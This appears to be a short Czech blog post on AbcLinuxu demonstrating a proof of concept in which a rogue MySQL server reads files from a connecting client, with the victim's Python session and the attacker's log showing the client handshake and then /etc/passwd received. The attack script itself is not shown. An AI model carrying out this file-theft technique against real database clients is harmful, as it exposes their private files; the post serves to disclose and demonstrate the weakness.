Portál AbcLinuxu, 20. prosince 2025 13:22
Necht php zhyne a upadne v zapomneni.
attacker.py.
Oběť:
Python 3.7.2 (default, Jan 3 2019, 02:55:40)
[GCC 8.2.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> import MySQLdb
>>> connection = MySQLdb.Connect(host='127.0.0.1', user='nsa', passwd='litomerice', db='catchmeifyoucan')
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
File "/usr/lib/python3/dist-packages/MySQLdb/__init__.py", line 86, in Connect
return Connection(*args, **kwargs)
File "/usr/lib/python3/dist-packages/MySQLdb/connections.py", line 266, in __init__
self.autocommit(autocommit)
File "/usr/lib/python3/dist-packages/MySQLdb/connections.py", line 272, in autocommit
_mysql.connection.autocommit(self, on)
_mysql_exceptions.OperationalError: (2013, 'Lost connection to MySQL server during query')
>>>
Útočník vidí:
ACCEPT: ('127.0.0.1', 40422)
> server greeting
plen 204
received data: b'\x01\x8c\xa2\x9f\x00\x00\x00\x00@\x08\x00\x00\x00\x00\x00\x00\x00
\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x07\x00\x00\x00nsa\x00\x14\xd7\xfd
\xdbj\x11\xe5\x8f\x14\x89\xeaa\x8a\xaf\xf2\xcc\x91\xea\xf7\xe0\xc4catchmeifyoucan\x00mysql_native_password\x00k\x03_os\x05Linux\x0c_client_name\nlibmariadb\x04_pid
\x0519516\x0f_client_version\x053.0.8\t_platform\x06x86_64\x0c_server_host\t127.0.0.1'
> auth accept
plen 18
received data: b'\x00\x03SET autocommit=0'
> exploit
plen 3632
received data: b'\x02root:x:0:0:root:/root:/bin/bash\ndaemon:x:1:1:daemon:
/usr/sbin:/usr/sbin/nologin\nbin:x:2:2:bin:/bin:/usr/sbin/nologin\nsys:x:3:3:sys: [...]
Testováno na aktuálních verzích v Debianu Unstable, je mi úplně fuk že to je binárně nekompatibilní s okolním světem, a taky je mi fuk, že to u oběti hodí exception a tudíž pokud to použijete v produkci, tak si toho všimne. Je to Poc.
Tiskni
Sdílej:
ISSN 1214-1267, (c) 1999-2007 Stickfish s.r.o.